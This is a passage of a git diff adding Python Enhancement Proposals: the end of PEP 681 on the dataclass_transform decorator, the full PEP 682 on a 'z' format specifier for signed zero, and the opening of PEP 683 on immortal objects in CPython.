+Post-History: `24-Apr-2021 `__, + `13-Dec-2021 `__, + `22-Feb-2022 `__ +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/R4A2IYLGFHKFDYJPSDA5NFJ6N7KRPJ6D/ + + +Abstract +======== + +:pep:`557` introduced the dataclass to the Python stdlib. Several popular +libraries have behaviors that are similar to dataclasses, but these +behaviors cannot be described using standard type annotations. Such +projects include attrs, pydantic, and object relational mapper (ORM) +packages such as SQLAlchemy and Django. + +Most type checkers, linters and language servers have full support for +dataclasses. This proposal aims to generalize this functionality and +provide a way for third-party libraries to indicate that certain +decorator functions, classes, and metaclasses provide behaviors +similar to dataclasses. + +These behaviors include: + +* Synthesizing an ``__init__`` method based on declared + data fields. +* Optionally synthesizing ``__eq__``, ``__ne__``, ``__lt__``, + ``__le__``, ``__gt__`` and ``__ge__`` methods. +* Supporting "frozen" classes, a way to enforce immutability during + static type checking. +* Supporting "field specifiers", which describe attributes of + individual fields that a static type checker must be aware of, + such as whether a default value is provided for the field. + +The full behavior of the stdlib dataclass is described in the `Python +documentation <#dataclass-docs_>`_. + +This proposal does not affect CPython directly except for the addition +of a ``dataclass_transform`` decorator in ``typing.py``. + + +Motivation +========== + +There is no existing, standard way for libraries with dataclass-like +semantics to declare their behavior to type checkers. To work around +this limitation, Mypy custom plugins have been developed for many of +these libraries, but these plugins don't work with other type +checkers, linters or language servers. They are also costly to +maintain for library authors, and they require that Python developers +know about the existence of these plugins and download and configure +them within their environment. + + +Rationale +========= + +The intent of this proposal is not to support every feature of every +library with dataclass-like semantics, but rather to make it possible +to use the most common features of these libraries in a way that is +compatible with static type checking. If a user values these libraries +and also values static type checking, they may need to avoid using +certain features or make small adjustments to the way they use them. +That's already true for the Mypy custom plugins, which +don't support every feature of every dataclass-like library. + +As new features are added to dataclasses in the future, we intend, when +appropriate, to add support for those features on +``dataclass_transform`` as well. Keeping these two feature sets in +sync will make it easier for dataclass users to understand and use +``dataclass_transform`` and will simplify the maintenance of dataclass +support in type checkers. + +Additionally, we will consider adding ``dataclass_transform`` support +in the future for features that have been adopted by multiple +third-party libraries but are not supported by dataclasses. + + +Specification +============= + +The ``dataclass_transform`` decorator +------------------------------------- + +This specification introduces a new decorator function in +the ``typing`` module named ``dataclass_transform``. This decorator +can be applied to either a function that is itself a decorator, +a class, or a metaclass. The presence of +``dataclass_transform`` tells a static type checker that the decorated +function, class, or metaclass performs runtime "magic" that transforms +a class, endowing it with dataclass-like behaviors. + +If ``dataclass_transform`` is applied to a function, using the decorated +function as a decorator is assumed to apply dataclass-like semantics. +If the function has overloads, the ``dataclass_transform`` decorator can +be applied to the implementation of the function or any one, but not more +than one, of the overloads. When applied to an overload, the +``dataclass_transform`` decorator still impacts all usage of the +function. + +If ``dataclass_transform`` is applied to a class, dataclass-like +semantics will be assumed for any class that derives from the +decorated class or uses the decorated class as a metaclass. + +Examples of each approach are shown in the following sections. Each +example creates a ``CustomerModel`` class with dataclass-like semantics. +The implementation of the decorated objects is omitted for brevity, +but we assume that they modify classes in the following ways: + +* They synthesize an ``__init__`` method using data fields declared + within the class and its parent classes. +* They synthesize ``__eq__`` and ``__ne__`` methods. + +Type checkers supporting this PEP will recognize that the +``CustomerModel`` class can be instantiated using the synthesized +``__init__`` method: + +.. code-block:: python + + # Using positional arguments + c1 = CustomerModel(327, "John Smith") + + # Using keyword arguments + c2 = CustomerModel(id=327, name="John Smith") + + # These calls will generate runtime errors and should be flagged as + # errors by a static type checker. + c3 = CustomerModel() + c4 = CustomerModel(327, first_name="John") + c5 = CustomerModel(327, "John Smith", 0) + +Decorator function example +'''''''''''''''''''''''''' + +.. code-block:: python + + _T = TypeVar("_T") + + # The ``create_model`` decorator is defined by a library. + # This could be in a type stub or inline. + @typing.dataclass_transform() + def create_model(cls: Type[_T]) -> Type[_T]: + cls.__init__ = ... + cls.__eq__ = ... + cls.__ne__ = ... + return cls + + # The ``create_model`` decorator can now be used to create new model + # classes, like this: + @create_model + class CustomerModel: + id: int + name: str + +Class example +''''''''''''' + +.. code-block:: python + + # The ``ModelBase`` class is defined by a library. This could be in + # a type stub or inline. + @typing.dataclass_transform() + class ModelBase: ... + + # The ``ModelBase`` class can now be used to create new model + # subclasses, like this: + class CustomerModel(ModelBase): + id: int + name: str + +Metaclass example +''''''''''''''''' + +.. code-block:: python + + # The ``ModelMeta`` metaclass and ``ModelBase`` class are defined by + # a library. This could be in a type stub or inline. + @typing.dataclass_transform() + class ModelMeta(type): ... + + class ModelBase(metaclass=ModelMeta): ... + + # The ``ModelBase`` class can now be used to create new model + # subclasses, like this: + class CustomerModel(ModelBase): + id: int + name: str + +Decorator function and class/metaclass parameters +------------------------------------------------- + +A decorator function, class, or metaclass that provides dataclass-like +functionality may accept parameters that modify certain behaviors. +This specification defines the following parameters that static type +checkers must honor if they are used by a dataclass transform. Each of +these parameters accepts a bool argument, and it must be possible for +the bool value (``True`` or ``False``) to be statically evaluated. + +* ``eq``. ``order``, ``frozen``, ``init`` and ``unsafe_hash`` are parameters + supported in the stdlib dataclass, with meanings defined in + :pep:`PEP 557 <557#id7>`. +* ``kw_only``, ``match_args`` and ``slots`` are parameters supported + in the stdlib dataclass, first introduced in Python 3.10. + +``dataclass_transform`` parameters +---------------------------------- + +Parameters to ``dataclass_transform`` allow for some basic +customization of default behaviors: + +.. code-block:: python + + _T = TypeVar("_T") + + def dataclass_transform( + *, + eq_default: bool = True, + order_default: bool = False, + kw_only_default: bool = False, + field_specifiers: tuple[type | Callable[..., Any], ...] = (), + **kwargs: Any, + ) -> Callable[[_T], _T]: ... + +* ``eq_default`` indicates whether the ``eq`` parameter is assumed to + be True or False if it is omitted by the caller. If not specified, + ``eq_default`` will default to True (the default assumption for + dataclass). +* ``order_default`` indicates whether the ``order`` parameter is + assumed to be True or False if it is omitted by the caller. If not + specified, ``order_default`` will default to False (the default + assumption for dataclass). +* ``kw_only_default`` indicates whether the ``kw_only`` parameter is + assumed to be True or False if it is omitted by the caller. If not + specified, ``kw_only_default`` will default to False (the default + assumption for dataclass). +* ``field_specifiers`` specifies a static list of supported classes + that describe fields. Some libraries also supply functions to + allocate instances of field specifiers, and those functions may + also be specified in this tuple. If not specified, + ``field_specifiers`` will default to an empty tuple (no field + specifiers supported). The standard dataclass behavior supports + only one type of field specifier called ``Field`` plus a helper + function (``field``) that instantiates this class, so if we were + describing the stdlib dataclass behavior, we would provide the + tuple argument ``(dataclasses.Field, dataclasses.field)``. +* ``kwargs`` allows arbitrary additional keyword args to be passed to + ``dataclass_transform``. This gives type checkers the freedom to + support experimental parameters without needing to wait for changes + in ``typing.py``. Type checkers should report errors for any + unrecognized parameters. + +In the future, we may add additional parameters to +``dataclass_transform`` as needed to support common behaviors in user +code. These additions will be made after reaching consensus on +typing-sig rather than via additional PEPs. + +The following sections provide additional examples showing how these +parameters are used. + +Decorator function example +'''''''''''''''''''''''''' + +.. code-block:: python + + # Indicate that the ``create_model`` function assumes keyword-only + # parameters for the synthesized ``__init__`` method unless it is + # invoked with ``kw_only=False``. It always synthesizes order-related + # methods and provides no way to override this behavior. + @typing.dataclass_transform(kw_only_default=True, order_default=True) + def create_model( + *, + frozen: bool = False, + kw_only: bool = True, + ) -> Callable[[Type[_T]], Type[_T]]: ... + + # Example of how this decorator would be used by code that imports + # from this library: + @create_model(frozen=True, kw_only=False) + class CustomerModel: + id: int + name: str + +Class example +''''''''''''' + +.. code-block:: python + + # Indicate that classes that derive from this class default to + # synthesizing comparison methods. + @typing.dataclass_transform(eq_default=True, order_default=True) + class ModelBase: + def __init_subclass__( + cls, + *, + init: bool = True, + frozen: bool = False, + eq: bool = True, + order: bool = True, + ): + ... + + # Example of how this class would be used by code that imports + # from this library: + class CustomerModel( + ModelBase, + init=False, + frozen=True, + eq=False, + order=False, + ): + id: int + name: str + +Metaclass example +''''''''''''''''' + +.. code-block:: python + + # Indicate that classes that use this metaclass default to + # synthesizing comparison methods. + @typing.dataclass_transform(eq_default=True, order_default=True) + class ModelMeta(type): + def __new__( + cls, + name, + bases, + namespace, + *, + init: bool = True, + frozen: bool = False, + eq: bool = True, + order: bool = True, + ): + ... + + class ModelBase(metaclass=ModelMeta): + ... + + # Example of how this class would be used by code that imports + # from this library: + class CustomerModel( + ModelBase, + init=False, + frozen=True, + eq=False, + order=False, + ): + id: int + name: str + + +Field specifiers +----------------- + +Most libraries that support dataclass-like semantics provide one or +more "field specifier" types that allow a class definition to provide +additional metadata about each field in the class. This metadata can +describe, for example, default values, or indicate whether the field +should be included in the synthesized ``__init__`` method. + +Field specifiers can be omitted in cases where additional metadata is +not required: + +.. code-block:: python + + @dataclass + class Employee: + # Field with no specifier + name: str + + # Field that uses field specifier class instance + age: Optional[int] = field(default=None, init=False) + + # Field with type annotation and simple initializer to + # describe default value + is_paid_hourly: bool = True + + # Not a field (but rather a class variable) because type + # annotation is not provided. + office_number = "unassigned" + + +Field specifier parameters +''''''''''''''''''''''''''' + +Libraries that support dataclass-like semantics and support field +specifier classes typically use common parameter names to construct +these field specifiers. This specification formalizes the names and +meanings of the parameters that must be understood for static type +checkers. These standardized parameters must be keyword-only. + +These parameters are a superset of those supported by +``dataclasses.field``, excluding those that do not have an impact on +type checking such as ``compare`` and ``hash``. + +Field specifier classes are allowed to use other +parameters in their constructors, and those parameters can be +positional and may use other names. + +* ``init`` is an optional bool parameter that indicates whether the + field should be included in the synthesized ``__init__`` method. If + unspecified, ``init`` defaults to True. Field specifier functions + can use overloads that implicitly specify the value of ``init`` + using a literal bool value type + (``Literal[False]`` or ``Literal[True]``). +* ``default`` is an optional parameter that provides the default value + for the field. +* ``default_factory`` is an optional parameter that provides a runtime + callback that returns the default value for the field. If neither + ``default`` nor ``default_factory`` are specified, the field is + assumed to have no default value and must be provided a value when + the class is instantiated. +* ``factory`` is an alias for ``default_factory``. Stdlib dataclasses + use the name ``default_factory``, but attrs uses the name ``factory`` + in many scenarios, so this alias is necessary for supporting attrs. +* ``kw_only`` is an optional bool parameter that indicates whether the + field should be marked as keyword-only. If true, the field will be + keyword-only. If false, it will not be keyword-only. If unspecified, + the value of the ``kw_only`` parameter on the object decorated with + ``dataclass_transform`` will be used, or if that is unspecified, the + value of ``kw_only_default`` on ``dataclass_transform`` will be used. +* ``alias`` is an optional str parameter that provides an alternative + name for the field. This alternative name is used in the synthesized + ``__init__`` method. + +It is an error to specify more than one of ``default``, +``default_factory`` and ``factory``. + +This example demonstrates the above: + +.. code-block:: python + + # Library code (within type stub or inline) + # In this library, passing a resolver means that init must be False, + # and the overload with Literal[False] enforces that. + @overload + def model_field( + *, + default: Optional[Any] = ..., + resolver: Callable[[], Any], + init: Literal[False] = False, + ) -> Any: ... + + @overload + def model_field( + *, + default: Optional[Any] = ..., + resolver: None = None, + init: bool = True, + ) -> Any: ... + + @typing.dataclass_transform( + kw_only_default=True, + field_specifiers=(model_field, )) + def create_model( + *, + init: bool = True, + ) -> Callable[[Type[_T]], Type[_T]]: ... + + # Code that imports this library: + @create_model(init=False) + class CustomerModel: + id: int = model_field(resolver=lambda : 0) + name: str + + +Runtime behavior +---------------- + +At runtime, the ``dataclass_transform`` decorator's only effect is to +set an attribute named ``__dataclass_transform__`` on the decorated +function or class to support introspection. The value of the attribute +should be a dict mapping the names of the ``dataclass_transform`` +parameters to their values. + +For example: + +.. code-block:: python + + { + "eq_default": True, + "order_default": False, + "kw_only_default": False, + "field_specifiers": (), + "kwargs": {} + } + + +Dataclass semantics +------------------- + +Except where stated otherwise in this PEP, classes impacted by +``dataclass_transform``, either by inheriting from a class that is +decorated with ``dataclass_transform`` or by being decorated with +a function decorated with ``dataclass_transform``, are assumed to +behave like stdlib ``dataclass``. + +This includes, but is not limited to, the following semantics: + +* Frozen dataclasses cannot inherit from non-frozen dataclasses. A + class that has been decorated with ``dataclass_transform`` is + considered neither frozen nor non-frozen, thus allowing frozen + classes to inherit from it. Similarly, a class that directly + specifies a metaclass that is decorated with ``dataclass_transform`` + is considered neither frozen nor non-frozen. + + Consider these class examples: + + .. code-block:: python + + # ModelBase is not considered either "frozen" or "non-frozen" + # because it is decorated with ``dataclass_transform`` + @typing.dataclass_transform() + class ModelBase(): ... + + # Vehicle is considered non-frozen because it does not specify + # "frozen=True". + class Vehicle(ModelBase): + name: str + + # Car is a frozen class that derives from Vehicle, which is a + # non-frozen class. This is an error. + class Car(Vehicle, frozen=True): + wheel_count: int + + And these similar metaclass examples: + + .. code-block:: python + + @typing.dataclass_transform() + class ModelMeta(type): ... + + # ModelBase is not considered either "frozen" or "non-frozen" + # because it directly specifies ModelMeta as its metaclass. + class ModelBase(metaclass=ModelMeta): ... + + # Vehicle is considered non-frozen because it does not specify + # "frozen=True". + class Vehicle(ModelBase): + name: str + + # Car is a frozen class that derives from Vehicle, which is a + # non-frozen class. This is an error. + class Car(Vehicle, frozen=True): + wheel_count: int + +* Field ordering and inheritance is assumed to follow the rules + specified in :pep:`557 <557#inheritance>`. This includes the effects of + overrides (redefining a field in a child class that has already been + defined in a parent class). + +* :pep:`PEP 557 indicates <557#post-init-parameters>` that + all fields without default values must appear before + fields with default values. Although not explicitly + stated in PEP 557, this rule is ignored when ``init=False``, and + this specification likewise ignores this requirement in that + situation. Likewise, there is no need to enforce this ordering when + keyword-only parameters are used for ``__init__``, so the rule is + not enforced if ``kw_only`` semantics are in effect. + +* As with dataclass, method synthesis is skipped if it would + overwrite a method that is explicitly declared within the class. + For example, if a class declares an ``__init__`` method explicitly, + an ``__init__`` method will not be synthesized for that class. + +* KW_ONLY sentinel values are supported as described in `the Python + docs <#kw-only-docs_>`_ and `bpo-43532 <#kw-only-issue_>`_. + +* ClassVar attributes are not considered dataclass fields and are + `ignored by dataclass mechanisms <#class-var_>`_. + + +Undefined behavior +------------------ + +If multiple ``dataclass_transform`` decorators are found, either on a +single function (including its overloads), a single class, or within a +class hierarchy, the resulting behavior is undefined. Library authors +should avoid these scenarios. + + +Reference Implementation +======================== + +`Pyright <#pyright_>`_ contains the reference implementation of type +checker support for ``dataclass_transform``. Pyright's +``dataClasses.ts`` `source file <#pyright-impl_>`_ would be a good +starting point for understanding the implementation. + +The `attrs <#attrs-usage_>`_ and `pydantic <#pydantic-usage_>`_ +libraries are using ``dataclass_transform`` and serve as real-world +examples of its usage. + + +Rejected Ideas +============== + +``auto_attribs`` parameter +-------------------------- + +The attrs library supports an ``auto_attribs`` parameter that +indicates whether class members decorated with :pep:`526` variable +annotations but with no assignment should be treated as data fields. + +We considered supporting ``auto_attribs`` and a corresponding +``auto_attribs_default`` parameter, but decided against this because it +is specific to attrs. + +Django does not support declaring fields using type annotations only, +so Django users who leverage ``dataclass_transform`` should be aware +that they should always supply assigned values. + +``cmp`` parameter +----------------- + +The attrs library supports a bool parameter ``cmp`` that is equivalent +to setting both ``eq`` and ``order`` to True. We chose not to support +a ``cmp`` parameter, since it only applies to attrs. Users can emulate +the ``cmp`` behaviour by using the ``eq`` and ``order`` parameter names +instead. + +Automatic field name aliasing +----------------------------- + +The attrs library performs `automatic aliasing <#attrs-aliasing_>`_ of +field names that start with a single underscore, stripping the +underscore from the name of the corresponding ``__init__`` parameter. + +This proposal omits that behavior since it is specific to attrs. Users +can manually alias these fields using the ``alias`` parameter. + +Alternate field ordering algorithms +----------------------------------- + +The attrs library currently supports two approaches to ordering the +fields within a class: + +* Dataclass order: The same ordering used by dataclasses. This is the + default behavior of the older APIs (e.g. ``attr.s``). +* Method Resolution Order (MRO): This is the default behavior of the + newer APIs (e.g. define, mutable, frozen). Older APIs (e.g. ``attr.s``) + can opt into this behavior by specifying ``collect_by_mro=True``. + +The resulting field orderings can differ in certain diamond-shaped +multiple inheritance scenarios. + +For simplicity, this proposal does not support any field ordering +other than that used by dataclasses. + +Fields redeclared in subclasses +------------------------------- + +The attrs library differs from stdlib dataclasses in how it +handles inherited fields that are redeclared in subclasses. The +dataclass specification preserves the original order, but attrs +defines a new order based on subclasses. + +For simplicity, we chose to only support the dataclass behavior. +Users of attrs who rely on the attrs-specific ordering will not see +the expected order of parameters in the synthesized ``__init__`` +method. + +Django primary and foreign keys +------------------------------- + +Django applies `additional logic for primary and foreign keys +<#django-ids_>`_. For example, it automatically adds an ``id`` field +(and ``__init__`` parameter) if there is no field designated as a +primary key. + +As this is not broadly applicable to dataclass libraries, this +additional logic is not accommodated with this proposal, so +users of Django would need to explicitly declare the ``id`` field. + +Class-wide default values +------------------------- + +SQLAlchemy requested that we expose a way to specify that the default +value of all fields in the transformed class is ``None``. It is typical +that all SQLAlchemy fields are optional, and ``None`` indicates that +the field is not set. + +We chose not to support this feature, since it is specific to +SQLAlchemy. Users can manually set ``default=None`` on these fields +instead. + +Descriptor-typed field support +------------------------------ + +We considered adding a boolean parameter on ``dataclass_transform`` +to enable better support for fields with descriptor types, which is +common in SQLAlchemy. When enabled, the type of each parameter on the +synthesized ``__init__`` method corresponding to a descriptor-typed +field would be the type of the value parameter to the descriptor's +``__set__`` method rather than the descriptor type itself. Similarly, +when setting the field, the ``__set__`` value type would be expected. +And when getting the value of the field, its type would be expected to +match the return type of ``__get__``. + +This idea was based on the belief that ``dataclass`` did not properly +support descriptor-typed fields. In fact it does, but type checkers +(at least mypy and pyright) did not reflect the runtime behavior which +led to our misunderstanding. For more details, see the +`Pyright bug <#pyright-descriptor-bug_>`__. + +``converter`` field specifier parameter +---------------------------------------- + +The attrs library supports a ``converter`` field specifier parameter, +which is a ``Callable`` that is called by the generated +``__init__`` method to convert the supplied value to some other +desired value. This is tricky to support since the parameter type in +the synthesized ``__init__`` method needs to accept uncovered values, +but the resulting field is typed according to the output of the +converter. + +Some aspects of this issue are detailed in a +`Pyright discussion <#converters_>`_. + +There may be no good way to support this because there's not enough +information to derive the type of the input parameter. One possible +solution would be to add support for a ``converter`` field specifier +parameter but then use the ``Any`` type for the corresponding +parameter in the ``__init__`` method. + + +References +========== +.. _#dataclass-docs: https://docs.python.org/3.11/library/dataclasses.html +.. _#pyright: https://github.com/Microsoft/pyright +.. _#pyright-impl: https://github.com/microsoft/pyright/blob/main/packages/pyright-internal/src/analyzer/dataClasses.ts +.. _#attrs-usage: https://github.com/python-attrs/attrs/pull/796 +.. _#pydantic-usage: https://github.com/samuelcolvin/pydantic/pull/2721 +.. _#attrs-aliasing: https://www.attrs.org/en/stable/init.html#private-attributes +.. _#django-ids: https://docs.djangoproject.com/en/4.0/topics/db/models/#automatic-primary-key-fields +.. _#converters: https://github.com/microsoft/pyright/discussions/1782?sort=old#discussioncomment-653909 +.. _#kw-only-docs: https://docs.python.org/3/library/dataclasses.html#dataclasses.KW_ONLY +.. _#kw-only-issue: https://bugs.python.org/issue43532 +.. _#class-var: https://docs.python.org/3/library/dataclasses.html#class-variables +.. _#pyright-descriptor-bug: https://github.com/microsoft/pyright/issues/3245 + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0682.rst b/pep-0682.rst new file mode 100644 index 00000000000..a6ecf22e119 --- /dev/null +++ b/pep-0682.rst @@ -0,0 +1,224 @@ +PEP: 682 +Title: Format Specifier for Signed Zero +Author: John Belmonte +Sponsor: Mark Dickinson +PEP-Delegate: Mark Dickinson +Discussions-To: https://discuss.python.org/t/pep-682-format-specifier-for-signed-zero/13596 +Status: Final +Type: Standards Track +Content-Type: text/x-rst +Created: 29-Jan-2022 +Python-Version: 3.11 +Post-History: 08-Feb-2022 +Resolution: https://discuss.python.org/t/accepting-pep-682-format-specifier-for-signed-zero/14088 + + +Abstract +======== + +Though ``float`` and ``Decimal`` types can represent `signed zero`_, in many +fields of mathematics negative zero is surprising or unwanted -- especially +in the context of displaying an (often rounded) numerical result. This PEP +proposes an extension to the `string format specification`_ allowing negative +zero to be normalized to positive zero. + +.. _`signed zero`: https://en.wikipedia.org/wiki/Signed_zero +.. _`string format specification`: https://docs.python.org/3/library/string.html#formatstrings + + +Motivation +========== + +Here is negative zero:: + + >>> x = -0. + >>> x + -0.0 + +When formatting a number, negative zero can result from rounding. Assuming +the user's intention is truly to discard precision, the distinction between +negative and positive zero of the rounded result might be considered an +unwanted artifact:: + + >>> for x in (.002, -.001, .060): + ... print(f'{x: .1f}') + 0.0 + -0.0 + 0.1 + +There are various approaches to clearing the sign of a negative zero. It +can be achieved without a conditional by adding positive zero:: + + >>> x = -0. + >>> x + 0. + 0.0 + +To normalize negative zero when formatting, it is necessary to perform +a redundant (and error-prone) pre-rounding of the input:: + + >>> for x in (.002, -.001, .060): + ... print(f'{round(x, 1) + 0.: .1f}') + 0.0 + 0.0 + 0.1 + +There is ample evidence that, regardless of the language, programmers are +often looking for a way to suppress negative zero, and landing on a +variety of workarounds (pre-round, post-regex, etc.). A sampling: + +* `How to have negative zero always formatted as positive zero in a + python string?`_ (Python, post-regex) +* `(Iron)Python formatting issue with modulo operator & "negative zero"`_ + (Python, pre-round) +* `Negative sign in case of zero in java`_ (Java, post-regex) +* `Prevent small negative numbers printing as "-0"`_ (Objective-C, custom + number formatter) + +What we would like instead is a first-class option to normalize negative +zero, on top of everything else that numerical string formatting already +offers. + +.. _`How to have negative zero always formatted as positive zero in a python string?`: https://stackoverflow.com/questions/11010683/how-to-have-negative-zero-always-formatted-as-positive-zero-in-a-python-string/36604981#36604981 +.. _`(Iron)Python formatting issue with modulo operator & "negative zero"`: https://stackoverflow.com/questions/41564311/ironpython-formatting-issue-with-modulo-operator-negative-zero/41564834#41564834 +.. _`Negative sign in case of zero in java`: https://stackoverflow.com/questions/11929096/negative-sign-in-case-of-zero-in-java +.. _`Prevent small negative numbers printing as "-0"`: https://stackoverflow.com/questions/10969399/prevent-small-negative-numbers-printing-as-0 + + +Rationale +========= + +There are use cases where negative zero is unwanted in formatted number +output -- arguably, not wanting it is more common. Expanding the format +specification is the best way to support this because number formatting +already incorporates rounding, and the normalization of negative zero must +happen after rounding. + +While it is possible to pre-round and normalize a number before formatting, +it's tedious and prone to error if the rounding doesn't precisely match +that of the format spec. Furthermore, functions that wrap formatting would +find themselves having to parse format specs to extract the precision +information. For example, consider how this utility for formatting +one-dimensional numerical arrays would be complicated by such pre-rounding: + +.. code-block:: python + + def format_vector(v, format_spec='8.2f'): + """Format a vector (any iterable) using given per-term format string.""" + return f"[{','.join(f'{term:{format_spec}}' for term in v)}]" + +To date, there doesn't appear to be any other widely-used language or library +providing a formatting option for negative zero. However, the same ``z`` +option syntax and semantics specified below have been `proposed for C++ +std::format()`_. While the proposal was withdrawn for C++20, a consensus +proposal is promised for C++23. (The original `feature request`_ prompting +this PEP was argued without knowledge of the C++ proposal.) + +When Rust developers debated whether to suppress negative zero in ``print`` +output, they took a small `survey of other languages`_. Notably, it didn't +mention any language providing an option for negative zero handling. + +.. _`proposed for C++ std::format()`: http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2020/p1496r2.pdf +.. _`feature request`: https://bugs.python.org/issue45995 +.. _`survey of other languages`: https://github.com/rust-lang/rfcs/issues/1074#issuecomment-718243936 + + +Specification +============= + +An optional, literal ``z`` is added to the +`Format Specification Mini-Language`_ following ``sign``: + +.. code-block:: text + + [[fill]align][sign][z][#][0][width][grouping_option][.precision][type] + +where ``z`` is allowed for floating-point presentation types (``f``, ``g``, +etc., as defined by the format specification documentation). Support for +``z`` is provided by the ``.__format__()`` method of each numeric type, +allowing the specifier to be used in f-strings, built-in ``format()``, and +``str.format()``. + +When ``z`` is present, negative zero (whether the original value or the +result of rounding) will be normalized to positive zero. + +Synopsis:: + + >>> x = -.00001 + >>> f'{x:z.1f}' + '0.0' + + >>> x = decimal.Decimal('-.00001') + >>> '{:+z.1f}'.format(x) + '+0.0' + +.. _`Format Specification Mini-Language`: https://docs.python.org/3/library/string.html#format-specification-mini-language + + +Design Notes +------------ +The solution must be opt-in, because we can't change the behavior of +programs that may be expecting or relying on negative zero when formatting +numbers. + +The proposed extension is intentionally ``[sign][z]`` rather than +``[sign[z]]``. The default for ``sign`` (``-``) is not widely known or +explicitly written, so this avoids everyone having to learn it just to use +the ``z`` option. + +While f-strings, built-in ``format()``, and ``str.format()`` can access +the new option, %-formatting cannot. There is already precedent for not +extending %-formatting with new options, as was the case for the +``,`` option (:pep:`378`). + +C99 ``printf`` already uses the ``z`` option character for another +purpose: qualifying the unsigned type (``u``) to match the length of +``size_t``. However, since the signed zero option specifically disallows +``z`` for integer presentation types, it's possible to disambiguate the two +uses, should C want to adopt this new option. + + +Backwards Compatibility +======================= + +The new formatting behavior is opt-in, so numerical formatting of existing +programs will not be affected. + + +How to Teach This +================= +A typical introductory Python course will not cover string formatting +in full detail. For such a course, no adjustments would need to be made. +For a course that does go into details of the string format specification, +a single example demonstrating the effect of the ``z`` option on a negative +value that's rounded to zero by the formatting should be enough. For an +independent developer encountering the feature in someone else's code, +reference to the `Format Specification Mini-Language`_ section of the +library reference manual should suffice. + +.. _`Format Specification Mini-Language`: https://docs.python.org/3/library/string.html#format-specification-mini-language + + +Reference Implementation +======================== + +A reference implementation exists at `pull request #30049`_. + +.. _`pull request #30049`: https://github.com/python/cpython/pull/30049 + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0683.rst b/pep-0683.rst new file mode 100644 index 00000000000..a7a2e2dda1f --- /dev/null +++ b/pep-0683.rst @@ -0,0 +1,810 @@ +PEP: 683 +Title: Immortal Objects, Using a Fixed Refcount +Author: Eric Snow , Eddie Elizondo +Discussions-To: https://mail.python.org/archives/list/python-dev@python.org/thread/TPLEYDCXFQ4AMTW6F6OQFINSIFYBRFCR/ +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Created: 10-Feb-2022 +Python-Version: 3.11 +Post-History: 15-Feb-2022, 19-Feb-2022, 28-Feb-2022 +Resolution: + + +Abstract +======== + +Currently the CPython runtime maintains a +`small amount of mutable state `_ in the +allocated memory of each object. Because of this, otherwise immutable +objects are actually mutable. This can have a large negative impact +on CPU and memory performance, especially for approaches to increasing +Python's scalability. + +This proposal mandates that, internally, CPython will support marking +an object as one for which that runtime state will no longer change. +Consequently, such an object's refcount will never reach 0, and so the +object will never be cleaned up. We call these objects "immortal". +(Normally, only a relatively small number of internal objects +will ever be immortal.) The fundamental improvement here +is that now an object can be truly immutable. + +Scope +----- + +Object immortality is meant to be an internal-only feature. So this +proposal does not include any changes to public API or behavior +(with one exception). As usual, we may still add some private +(yet publicly accessible) API to do things like immortalize an object +or tell if one is immortal. Any effort to expose this feature to users +would need to be proposed separately. + +There is one exception to "no change in behavior": refcounting semantics +for immortal objects will differ in some cases from user expectations. +This exception, and the solution, are discussed below. + +Most of this PEP focuses on an internal implementation that satisfies +the above mandate. However, those implementation details are not meant +to be strictly proscriptive. Instead, at the least they are included +to help illustrate the technical considerations required by the mandate. +The actual implementation may deviate somewhat as long as it satisfies +the constraints outlined below. Furthermore, the acceptability of any +specific implementation detail described below does not depend on +the status of this PEP, unless explicitly specified. + +For example, the particular details of: + +* how to mark something as immortal +* how to recognize something as immortal +* which subset of functionally immortal objects are marked as immortal +* which memory-management activities are skipped or modified for immortal objects + +are not only CPython-specific but are also private implementation +details that are expected to change in subsequent versions. + +Implementation Summary +---------------------- + +Here's a high-level look at the implementation: + +If an object's refcount matches a very specific value (defined below) +then that object is treated as immortal. The CPython C-API and runtime +will not modify the refcount (or other runtime state) of an immortal +object. + +Aside from the change to refcounting semantics, there is one other +possible negative impact to consider. A naive implementation of the +approach described below makes CPython roughly 4% slower. However, +the implementation is performance-neutral once known mitigations +are applied. + + +Motivation +========== + +As noted above, currently all objects are effectively mutable. That +includes "immutable" objects like ``str`` instances. This is because +every object's refcount is frequently modified as the object is used +during execution. This is especially significant for a number of +commonly used global (builtin) objects, e.g. ``None``. Such objects +are used a lot, both in Python code and internally. That adds up to +a consistent high volume of refcount changes. + +The effective mutability of all Python objects has a concrete impact +on parts of the Python community, e.g. projects that aim for +scalability like Instragram or the effort to make the GIL +per-interpreter. Below we describe several ways in which refcount +modification has a real negative effect on such projects. +None of that would happen for objects that are truly immutable. + +Reducing CPU Cache Invalidation +------------------------------- + +Every modification of a refcount causes the corresponding CPU cache +line to be invalidated. This has a number of effects. + +For one, the write must be propagated to other cache levels +and to main memory. This has small effect on all Python programs. +Immortal objects would provide a slight relief in that regard. + +On top of that, multi-core applications pay a price. If two threads +(running simultaneously on distinct cores) are interacting with the +same object (e.g. ``None``) then they will end up invalidating each +other's caches with each incref and decref. This is true even for +otherwise immutable objects like ``True``, ``0``, and ``str`` instances. +CPython's GIL helps reduce this effect, since only one thread runs at a +time, but it doesn't completely eliminate the penalty. + +Avoiding Data Races +------------------- + +Speaking of multi-core, we are considering making the GIL +a per-interpreter lock, which would enable true multi-core parallelism. +Among other things, the GIL currently protects against races between +multiple concurrent threads that may incref or decref the same object. +Without a shared GIL, two running interpreters could not safely share +any objects, even otherwise immutable ones like ``None``. + +This means that, to have a per-interpreter GIL, each interpreter must +have its own copy of *every* object. That includes the singletons and +static types. We have a viable strategy for that but it will require +a meaningful amount of extra effort and extra complexity. + +The alternative is to ensure that all shared objects are truly immutable. +There would be no races because there would be no modification. This +is something that the immortality proposed here would enable for +otherwise immutable objects. With immortal objects, +support for a per-interpreter GIL +becomes much simpler. + +Avoiding Copy-on-Write +---------------------- + +For some applications it makes sense to get the application into +a desired initial state and then fork the process for each worker. +This can result in a large performance improvement, especially +memory usage. Several enterprise Python users (e.g. Instagram, +YouTube) have taken advantage of this. However, the above +refcount semantics drastically reduce the benefits and +have led to some sub-optimal workarounds. + +Also note that "fork" isn't the only operating system mechanism +that uses copy-on-write semantics. Anything that uses ``mmap`` +relies on copy-on-write, including 